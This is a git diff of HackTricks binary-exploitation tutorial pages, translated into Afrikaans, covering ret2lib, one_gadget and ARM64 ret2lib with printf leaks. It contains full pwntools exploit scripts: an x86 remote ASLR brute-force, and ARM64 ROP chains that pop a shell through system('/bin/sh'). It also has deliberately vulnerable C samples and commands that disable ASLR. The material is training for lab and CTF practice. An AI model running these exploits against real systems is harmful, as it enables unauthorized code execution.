+## x86 Ret2lib-kodevoorbeeld
+In hierdie voorbeeld is ASLR-brute-force in die kode geïntegreer en die kwesbare binary is op ’n afgeleë bediener geleë:
```python
from pwn import *
@@ -106,60 +96,61 @@ c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
- p = ""
- p += p32(off + 0x0003cb20) #system
- p += "CCCC" #GARBAGE, could be address of exit()
- p += p32(off + 0x001388da) #/bin/sh
- payload = 'A'*0x20010 + p
- c.send(payload)
- c.interactive()
+p = ""
+p += p32(off + 0x0003cb20) #system
+p += "CCCC" #GARBAGE, could be address of exit()
+p += p32(off + 0x001388da) #/bin/sh
+payload = 'A'*0x20010 + p
+c.send(payload)
+c.interactive()
```
+## x64 Ret2lib Kodevoorbeeld
-## x64 Ret2lib Code Example
+Sien die voorbeeld by:
-Check the example from:
{{#ref}}
../
{{#endref}}
-## ARM64 Ret2lib Example
+## ARM64 Ret2lib-voorbeeld
-In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
+In die geval van ARM64 spring die ret-instruksie na waarheen die x30-register wys en nie waarheen die stack-register wys nie. Dit is dus 'n bietjie meer ingewikkeld.
-Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
+Ook in ARM64 doen 'n instruksie wat die instruksie doen (dit is nie moontlik om in die middel van instruksies te spring en hulle in nuwes te transformeer nie).
-Check the example from:
+Sien die voorbeeld by:
{{#ref}}
-ret2lib-+-printf-leak-arm64.md
+ret2lib-printf-leak-arm64.md
{{#endref}}
-## Ret-into-printf (or puts)
+## Ret-into-printf (of puts)
-This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
+Dit laat toe om **inligting uit die proses te leak** deur `printf`/`puts` te roep met spesifieke data wat as 'n argument geplaas is. Byvoorbeeld, deur die adres van `puts` in die GOT in 'n uitvoering van `puts` te plaas, sal dit **die adres van `puts` in die geheue leak**.[[2]](#references)
## Ret2printf
-This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
+Dit beteken basies om 'n **Ret2lib te misbruik om dit in 'n `printf` format strings vulnerability te transformeer** deur die `ret2lib` te gebruik om `printf` met die waardes te roep om dit te exploit (klink nutteloos, maar is moontlik):
+
{{#ref}}
../../format-strings/
{{#endref}}
-## Other Examples & references
-
-- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- - Ret2lib, given a leak to the address of a function in libc, using one gadget
-- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
-- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
-- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
-- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
-- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
+## Verwysings
+
+- [1] [guyinatuxedo - csaw19 babyboi](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
+- Ret2lib, gegewe 'n leak van die adres van 'n funksie in libc, met behulp van one gadget
+- [2] [guyinatuxedo - csawquals17 svc](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
+- 64 bit, ASLR geaktiveer maar geen PIE nie; die eerste stap is om 'n overflow te vul tot by die byte 0x00 van die canary, en dan puts te roep om dit te leak. Met die canary word 'n ROP gadget geskep om puts te roep en die adres van puts uit die GOT te leak, en daarna 'n ROP gadget om `system('/bin/sh')` te roep.
+- [3] [guyinatuxedo - fb19 overfloat](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
+- 64 bits, ASLR geaktiveer, geen canary nie, stack overflow in main vanuit 'n child function. ROP gadget om puts te roep en die adres van puts uit die GOT te leak, en daarna one gadget te roep.
+- [4] [guyinatuxedo - hs19 storytime](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
+- 64 bits, geen pie, geen canary, geen relro, nx. Gebruik die write-funksie om die adres van write (libc) te leak en roep one gadget.
+- [5] [guyinatuxedo - asis17 marymorton](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
+- Gebruik 'n format string om die canary vanaf die stack te leak en 'n buffer overflow om in system in te call (dit is in die GOT) met die adres van `/bin/sh`.
+- [6] [guyinatuxedo - tu guestbook](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
+- 32 bit, geen relro, geen canary, nx, pie. Misbruik swak indexing om adresse van libc en die heap vanaf die stack te leak. Misbruik die buffer overflow om 'n ret2lib te doen wat `system('/bin/sh')` roep (die heap-adres is nodig om 'n check te omseil).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
index 5b24ece5ffa..45357eec8aa 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
@@ -2,36 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
-However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
+[`one_gadget`](https://github.com/david942j/one_gadget) soek in 'n gegewe `libc` na instruksievolgordes wat `execve("/bin/sh", ...)` vanaf 'n enkele entry address kan aanroep.[[1]](#references)
-.png>)
+Elke gerapporteerde gadget het constraints waaraan voldoen moet word op die oomblik wanneer beheer dit bereik. Byvoorbeeld, 'n voorwaarde soos `[rsp+0x30] == NULL` vereis dat daardie stack-slot 'n null-waarde bevat; ander gadgets kan 'n skryfbare register of 'n spesifieke process-environment-uitleg vereis. Deur die payload met null-waardes op te vul, kan sommige stack-constraints nagekom word, maar kontroleer altyd die presiese voorwaardes wat vir die gekose `libc` gedruk word.[[1]](#references)
+.png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
-
-To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
+Die offsets wat deur `one_gadget` gerapporteer word, is relatief tot die ooreenstemmende `libc`; voeg die runtime-`libc`-basisadres by voordat jy een in ’n exploit gebruik.
> [!TIP]
-> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
+> ’n one-gadget kan ’n ROP chain of ’n arbitrary-write-to-execution-tegniek vereenvoudig, maar slegs wanneer aan al die gadget se beperkings voldoen word.
### ARM64
-The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
+Die tool ondersteun verskeie argitekture, insluitend AArch64, maar ’n spesifieke `libc` mag geen bruikbare gadget bevat nie. In een aangetekende toets teen die AArch64-`libc` wat saam met Kali 2023.3 verskaf word, het `one_gadget` geen gadget teruggegee nie, ondanks die feit dat die argitektuur ondersteun word.[[1]](#references)
## Angry Gadget
-From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
-If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
-
+[`angry_gadget`](https://github.com/ChrisTheCoolHut/angry_gadget) gebruik [angr](https://github.com/angr/angr) om te soek na gadgets wat `execve('/bin/sh', NULL, NULL)` bereik en om oor hul beperkings te redeneer. Dit kan addisionele kandidate oplewer wanneer `one_gadget` nie ’n praktiese passing vind nie.[[2]](#references)[[3]](#references)
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
+## References
+- [1] [one_gadget - Vind `execve("/bin/sh")` gadgets in `libc`](https://github.com/david942j/one_gadget)
+- [2] [angry_gadget - Vind one-gadgets met angr en satisfiability](https://github.com/ChrisTheCoolHut/angry_gadget)
+- [3] [angr binary-analysis framework](https://github.com/angr/angr)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
deleted file mode 100644
index a9cfca917bb..00000000000
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
+++ /dev/null
@@ -1,217 +0,0 @@
-# Ret2lib + Printf leak - arm64
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Ret2lib - NX bypass with ROP (no ASLR)
-
-```c
-#include
-
-void bof()
-{
- char buf[100];
- printf("\nbof>\n");
- fgets(buf, sizeof(buf)*3, stdin);
-}
-
-void main()
-{
- printfleak();
- bof();
-}
-```
-
-Compile without canary:
-
-```bash
-clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
-# Disable aslr
-echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
-```
-
-### Find offset
-
-### x30 offset
-
-Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
-
-
-
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
-
-
-
-### Find system and `/bin/sh` string
-
-As the ASLR is disabled, the addresses are going to be always the same:
-
-
-
-### Find Gadgets
-
-We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
-
-Using rooper an interesting gadget was found:
-
-```
-0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
-```
-
-This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
-
-### Exploit
-
-```python
-from pwn import *
-from time import sleep
-
-p = process('./rop') # For local binary
-libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
-libc.address = 0x0000fffff7df0000
-binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
-system = libc.sym["system"]
-
-def expl_bof(payload):
- p.recv()
- p.sendline(payload)
-
-# Ret2main
-stack_offset = 108
-ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
-
-x29 = b"AAAAAAAA"
-x30 = p64(system)
-fill = b"A" * (0x18 - 0x10)
-x0 = p64(binsh)
-
-payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
-p.sendline(payload)
-
-p.interactive()
-p.close()
-```
-
-## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
-
-```c
-#include
-
-void printfleak()
-{
- char buf[100];
- printf("\nPrintf>\n");
- fgets(buf, sizeof(buf), stdin);
- printf(buf);
-}
-
-void bof()
-{
- char buf[100];
- printf("\nbof>\n");
- fgets(buf, sizeof(buf)*3, stdin);
-}
-
-void main()
-{
- printfleak();
- bof();
-}
-
-```
-
-Compile **without canary**:
-
-```bash
-clang -o rop rop.c -fno-stack-protector -Wno-format-security
-```
-
-### PIE and ASLR but no canary
-
-- Round 1:
- - Leak of PIE from stack
- - Abuse bof to go back to main
-- Round 2:
- - Leak of libc from the stack
- - ROP: ret2system
-
-### Printf leaks
-
-Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
-
-
-
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
-
-
-
-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
-
-### x30 offset
-
-See the previous example as the bof is the same.
-
-### Find Gadgets
-
-Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
-
-Using rooper another interesting gadget was found:
-
-```
-0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
-```
-
-This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
-
-### Exploit
-
-```python
-from pwn import *
-from time import sleep
-
-p = process('./rop') # For local binary
-libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
-
-def leak_printf(payload, is_main_addr=False):
- p.sendlineafter(b">\n" ,payload)
- response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
- if is_main_addr:
- response = response[:-4] + b"0000"
- return int(response, 16)
-
-def expl_bof(payload):
- p.recv()
- p.sendline(payload)
-
-# Get main address
-main_address = leak_printf(b"%21$p", True)
-print(f"Bin address: {hex(main_address)}")
-
-# Ret2main
-stack_offset = 108
-main_call_printf_offset = 0x860 #Offset inside main to call printfleak
-print("Going back to " + str(hex(main_address + main_call_printf_offset)))
-ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
-expl_bof(ret2main)
-
-# libc
-libc_base_address = leak_printf(b"%25$p") - 0x26dc4
-libc.address = libc_base_address
-print(f"Libc address: {hex(libc_base_address)}")
-binsh = next(libc.search(b"/bin/sh"))
-system = libc.sym["system"]
-
-# ret2system
-ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
-
-x29 = b"AAAAAAAA"
-x30 = p64(system)
-fill = b"A" * (0x78 - 0x10)
-x0 = p64(binsh)
-
-payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
-p.sendline(payload)
-
-p.interactive()
-```
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-printf-leak-arm64.md
new file mode 100644
index 00000000000..2722cbd5ee5
--- /dev/null
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-printf-leak-arm64.md
@@ -0,0 +1,262 @@
+# Ret2lib + Printf leak - ARM64
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Ret2lib - NX bypass met ROP (geen ASLR)
+```c
+#include
+
+void bof()
+{
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
+}
+
+void main()
+{
+printfleak();
+bof();
+}
+```
+Kompileer sonder canary en sonder AArch64 branch protection:
+```bash
+clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector -mbranch-protection=none
+# Disable aslr
+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+```
+- Onlangse toolchains kan by verstek **PAC/BTI**-instrumentasie op sommige ARM64-teikens genereer. As jy ’n lab binary vir oefening bou, hou **`-mbranch-protection=none`** die klassieke ret2lib-vloei reproduceerbaar.[[1]](#references)
+- Jy kan vinnig verifieer of die binary branch-protection-notas bevat met:
+```bash
+readelf --notes -W rop-no-aslr | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
+objdump -d rop-no-aslr | grep -E 'bti|paci|auti'
+```
+> [!WARNING]
+> As die target met return-address signing (`pac-ret` / `standard`) gekompileer is, kan 'n naïewe overwrite van die gestoorde **`x30`** tydens die function epilogue misluk. Bevestig in werklike targets eers of PAC/BTI teenwoordig is voordat jy aanvaar dat 'n vanilla ROP chain sal werk.
+
+### AArch64 ROP-herinneringe
+
+- **`x0`** tot **`x7`** bevat die eerste 8 function arguments, dus moet 'n ret2libc chain die pointer na **`/bin/sh`** in **`x0`** plaas voordat daar na **`system`** gebranch word.[[2]](#references)
+- **`ret`** spring na die adres wat in **`x30`** gestoor is. In die praktyk word die gestoorde return address gewoonlik deur 'n epilogue soos **`ldp x29, x30, [sp], #0x10; ret;`** herstel.
+- Hou **`sp`** 16-byte aligned by function boundaries. Misaligned stacks kan in epilogues of binne libc crash voordat die chain **`system`** bereik.
+- Op AArch64 lyk baie nuttige gadgets dikwels soos **`ldr x0, [sp, #imm]; ldp x29, x30, [sp], #off; ret;`**, omdat hulle beide die eerste argument stel en die ROP chain vorentoe beweeg.
+
+### Vind offset - x30 offset
+
+Deur 'n pattern met **`pattern create 200`** te skep, dit te gebruik en die offset met **`pattern search $x30`** na te gaan, kan ons sien dat die offset **`108`** (0x6c) is.
+
+
+
+As ons na die disassembled main function kyk, kan ons sien dat ons graag wil **jump** na die instruction wat direk na **`printf`** jump, waarvan die offset vanaf waar die binary gelaai word **`0x860`** is:
+
+
+
+### Vind system en `/bin/sh` string
+
+Omdat ASLR disabled is, sal die addresses altyd dieselfde wees:
+
+
+
+### Vind Gadgets
+
+Ons moet die address van die string **`/bin/sh`** in **`x0`** hê en **`system`** call.
+
+Deur ropper te gebruik, is 'n interessante gadget gevind:
+```
+0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
+```
+Hierdie gadget sal `x0` vanaf **`$sp + 0x18`** laai en dan die adresse x29 en x30 vanaf sp laai en na x30 spring. Met hierdie gadget kan ons dus **die eerste argument beheer en daarna na system spring**.
+
+### Exploit
+```python
+from pwn import *
+from time import sleep
+
+context.arch = 'aarch64'
+p = process('./rop') # For local binary
+libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
+libc.address = 0x0000fffff7df0000
+binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
+system = libc.sym["system"]
+
+def expl_bof(payload):
+p.recv()
+p.sendline(payload)
+
+# Ret2main
+stack_offset = 108
+ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
+
+x29 = b"AAAAAAAA"
+x30 = p64(system)
+fill = b"A" * (0x18 - 0x10)
+x0 = p64(binsh)
+
+payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
+p.sendline(payload)
+
+p.interactive()
+p.close()
+```
+> [!TIP]
+> As jy ’n ARM64 binary vanaf ’n x86_64-workstation uitbuit/debug, is ’n vinnige plaaslike workflow:
+>
+> ```bash
+> qemu-aarch64 -L /usr/aarch64-linux-gnu ./rop-no-aslr
+> qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./rop-no-aslr
+> gdb-multiarch ./rop-no-aslr -ex 'target remote :1234'
+> ```
+
+## Ret2lib - NX, ASL & PIE bypass met printf leaks vanaf die stack
+```c
+#include
+
+void printfleak()
+{
+char buf[100];
+printf("\nPrintf>\n");
+fgets(buf, sizeof(buf), stdin);
+printf(buf);
+}
+
+void bof()
+{
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
+}
+
+void main()
+{
+printfleak();
+bof();
+}
+
+```
+Kompileer **sonder canary**:
+```bash
+clang -o rop rop.c -fno-stack-protector -Wno-format-security -mbranch-protection=none
+```
+### PIE and ASLR maar geen canary nie
+
+- Ronde 1:
+- Leak van PIE vanaf die stack
+- Abuse bof om terug te gaan na main
+- Ronde 2:
+- Leak van libc vanaf die stack
+- ROP: ret2system
+
+### Printf leaks
+
+Deur ’n breakpoint te stel voordat printf geroep word, is dit moontlik om te sien dat daar adresse is om na die binary terug te keer in die stack, sowel as libc-adresse:
+
+
+
+Deur verskillende offsets te probeer, kan **`%21$p`** ’n binary-adres lek (PIE-bypass), en **`%25$p`** kan ’n libc-adres lek:
+
+
+
+Deur die libc-adres wat geleak is van die basisadres van libc af te trek, is dit moontlik om te sien dat die **offset** van die **gelekte adres vanaf die basis `0x49c40` is.**
+
+> [!IMPORTANT]
+> Die presiese format-string-posisies is **build-afhanklik**. Die waardes **`%21$p`** en **`%25$p`** is geldig vir hierdie binary/libc-kombinasie, maar verskillende compilers, optimization levels of libc-weergawes kan die interessante pointers verskuif. Op AArch64 is dit veral sigbaar omdat **`printf`** sy eerste arguments eers in registers ontvang, en eers later stack-waardes verbruik. In ’n nuwe target, brute-force verskeie **`%p`**-posisies of inspekteer die toestand net voor die **`printf`**-call om die korrekte offsets weer te ontdek.
+
+### Ontdek die leak-posisies vinnig weer
+
+Die AArch64 PCS stuur die eerste integer/pointer-arguments in **`x0`** tot **`x7`**, dus kan ’n variadiese oproep soos **`printf(buf)`** eers ná verskeie stack-slots nuttige pointers blootstel.[[2]](#references) ’n Praktiese manier om die interessante indekse in ’n nuwe build weer te vind, is om die posisies te brute-force en dié te behou wat soos die volgende lyk:
+
+- ’n Pointer na die PIE-image (dieselfde hoë bytes as die main binary-mapping)
+- ’n Pointer na libc (dieselfde hoë bytes as die libc-mapping)
+- ’n Pointer waarvan die lae 12 bits ooreenstem met ’n bekende code-offset binne die module
+```python
+from pwn import *
+
+for i in range(1, 40):
+p = process('./rop')
+p.sendlineafter(b'Printf>\n', f'%{i}$p'.encode())
+leak = p.recvline().strip()
+print(i, leak)
+p.close()
+```
+> [!WARNING]
+> As jy dit binne **GDB** doen, onthou dat **GDB** ASLR by verstek deaktiveer vir gestarte inferiors op Linux. Om die werklike gerandomiseerde uitleg te toets, voer **`set disable-randomization off`** voor **`run`** uit; anders kan die leak-posisies korrek lyk terwyl die adresse onrealisties stabiel bly.
+
+### x30 offset
+
+Sien die vorige voorbeeld, aangesien die bof dieselfde is.
+
+### Find Gadgets
+
+Soos in die vorige voorbeeld, moet ons die adres van die string **`/bin/sh`** in **`x0`** hê en **`system`** aanroep.
+
+Deur ropper te gebruik, is nog ’n interessante gadget gevind:
+```
+0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
+```
+Hierdie gadget sal `x0` vanaf **`$sp + 0x78`** laai, en dan die adresse x29 en x30 vanaf sp laai en na x30 spring. Met hierdie gadget kan ons **die eerste argument beheer en dan na system spring**.
+
+Wanneer jy ’n soortgelyke gadget in ’n ander libc moet herwin, is ’n vinnige ARM64-georiënteerde workflow:
+```bash
+ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 --only 'ldr|ldp|ret' --depth 6 | grep 'ldr x0'
+ropper --file /usr/lib/aarch64-linux-gnu/libc.so.6 --search 'ldr x0'
+```
+Dit is gewoonlik vinniger as om elke gadget handmatig te deurkyk, en dit pas beter aan by veranderinge in die libc-weergawe as om ’n voorheen gesiene offset hard te kodeer.
+
+### Exploit
+```python
+from pwn import *
+from time import sleep
+
+context.arch = 'aarch64'
+p = process('./rop') # For local binary
+libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
+
+def leak_printf(payload, is_main_addr=False):
+p.sendlineafter(b">\n" ,payload)
+response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
+if is_main_addr:
+response = response[:-4] + b"0000"
+return int(response, 16)
+
+def expl_bof(payload):
+p.recv()
+p.sendline(payload)
+
+# Get main address
+main_address = leak_printf(b"%21$p", True)
+print(f"Bin address: {hex(main_address)}")
+
+# Ret2main
+stack_offset = 108
+main_call_printf_offset = 0x860 #Offset inside main to call printfleak
+print("Going back to " + str(hex(main_address + main_call_printf_offset)))
+ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
+expl_bof(ret2main)
+
+# libc
+libc_base_address = leak_printf(b"%25$p") - 0x26dc4
+libc.address = libc_base_address
+assert (libc.address & 0xfff) == 0
+print(f"Libc address: {hex(libc_base_address)}")
+binsh = next(libc.search(b"/bin/sh"))
+system = libc.sym["system"]
+
+# ret2system
+ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
+
+x29 = b"AAAAAAAA"
+x30 = p64(system)
+fill = b"A" * (0x78 - 0x10)
+x0 = p64(binsh)
+
+payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
+p.sendline(payload)
+
+p.interactive()
+```
+## Verwysings
+
+- [1] [ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR and NX - 8kSec](https://8ksec.io/arm64-reversing-and-exploitation-part-7-bypassing-aslr-and-nx/)
+- [2] [Procedure Call Standard for the Arm 64-bit Architecture (AArch64)](https://github.com/ARM-software/abi-aa/releases)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
index fb453a1ba86..bb6c769a154 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
@@ -1,84 +1,78 @@
-# Leaking libc address with ROP
+# libc address met ROP leaken
{{#include ../../../../banners/hacktricks-training.md}}
-## Quick Resume
+## Kort opsomming
-1. **Find** overflow **offset**
-2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
-3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
-4. With the library, **calculate the ROP and exploit it**
+1. **Vind** die overflow **offset**
+2. **Vind** die `POP_RDI` gadget, `PUTS_PLT` en `MAIN` gadgets
+3. Gebruik die vorige gadgets om die **geheueadres te leak** van `puts` of ’n ander libc-funksie en **identifiseer die libc-weergawe** ([download candidates](https://libc.blukat.me)).
+4. Met die library, **bereken die ROP en exploit dit**
-## Other tutorials and binaries to practice
+## Ander tutorials en binaries om mee te oefen
-This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
-Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
+Hierdie tutorial gaan die kode/binary exploit wat in hierdie tutorial voorgestel word: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)[[1]](#references) \
+Nog ’n nuttige tutorial: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)[[2]](#references) , [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)[[3]](#references)
-## Code
-
-Filename: `vuln.c`
+## Kode
+Lêernaam: `vuln.c`
```c
#include
int main() {
- char buffer[32];
- puts("Simple ROP.\n");
- gets(buffer);
+char buffer[32];
+puts("Simple ROP.\n");
+gets(buffer);
- return 0;
+return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
-
## ROP - Leaking LIBC template
-Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
+Download the exploit and plaas dit in dieselfde gids as die kwesbare binary en verskaf die nodige data aan die script:
+
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
-## 1- Finding the offset
-
-The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
+## 1- Vind die offset
+Die template benodig ’n offset voordat daar met die exploit voortgegaan kan word. Indien een verskaf word, sal dit die nodige code uitvoer om dit te vind (by verstek `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
- gdb.attach(p.pid, "c") #Attach and continue
- payload = cyclic(1000)
- print(r.clean())
- r.sendline(payload)
- #x/wx $rsp -- Search for bytes that crashed the application
- #cyclic_find(0x6161616b) # Find the offset of those bytes
- return
+gdb.attach(p.pid, "c") #Attach and continue
+payload = cyclic(1000)
+print(r.clean())
+r.sendline(payload)
+#x/wx $rsp -- Search for bytes that crashed the application
+#cyclic_find(0x6161616b) # Find the offset of those bytes
+return
```
-
-**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
-
+**Voer** `python template.py` uit; ’n GDB console sal oopgemaak word met die program wat gekras word. Voer binne daardie **GDB console** `x/wx $rsp` uit om die **bytes** te kry wat die RIP sou oorskryf. Kry laastens die **offset** deur ’n **python** console te gebruik:
